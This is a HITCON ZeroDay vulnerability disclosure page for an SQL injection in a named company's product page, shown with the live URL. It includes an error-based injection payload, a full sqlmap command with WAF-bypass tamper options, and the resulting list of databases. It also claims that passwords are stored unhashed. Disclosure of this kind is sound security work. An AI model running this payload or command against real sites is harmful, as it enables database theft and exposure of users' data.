正基科技AMPAK Technology sql injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-01469
  •  發信 Vendor: 正基科技股份有限公司
  • Title: 正基科技AMPAK Technology sql injection
  • Introduction: sql injection

處理狀態

目前狀態

公開
Last Update : 2018/11/26
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2018/09/26 23:13:36 : 新提交 (由 MBA666 更新此狀態)
  • 2018/09/27 23:40:54 : 新提交 (由 MBA666 更新此狀態)
  • 2018/09/28 22:44:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/09/30 23:09:07 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/09/30 23:09:07 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/11/26 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2018-01469
  • 通報者:seanhung (MBA666)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.ampak.com.tw/product.php?id=21

敘述

平常header的XFF習慣會掛一個單引號(http://www.ampak.com.tw/product.php?id=21')
當出現:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 那就很明顯了,撿到了SQLi了~

Payload: id=21 AND (SELECT 2(IF((SELECT FROM (SELECT CONCAT(0x716a6b7071,(SELECT (ELT(9743=9743,1))),0x7171706b71,0x78))s), 8446744073709551610, 8446744073709551610))) Vector: AND (SELECT 2(IF((SELECT FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))

當確認已經有SQL INJECTION 的時候我用sqlmap來實現漏洞的運用

sqlmap指令:sqlmap -u www.ampak.com.tw/product.php\?id\=21 --random-agent --threads=5 --risk=3 --level=5 -v2 --tamper=between,informationschemacomment,bluecoat,charencode --drop-set-cookie --fresh-queries --binary-fields -identify-waf --text-only --titles --invalid-string --invalid-logical --invalid-bignum --dbms="microsoft access" --hpp --parse-errors --no-cast --no-escape --ignore-proxy -o --dbs

available databases [7]:
[] ampak_2016_en
[
] ampak_2016_kr
[] ampak_2016_tw
[
] ampak_en
[] ampak_kr
[
] ampak_tw
[*] information_schema

雖然有用WAF and TIMEOUT 來防禦不過加了一些參數後還是可以輕易的bypass掉
加上密碼進去的時候並沒有HASH只要DUMP出來就可以輕易知道PASSWORD

修補建議

密碼進去database裡要加hash比較好至少被dump出來之後還有一層防禦

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;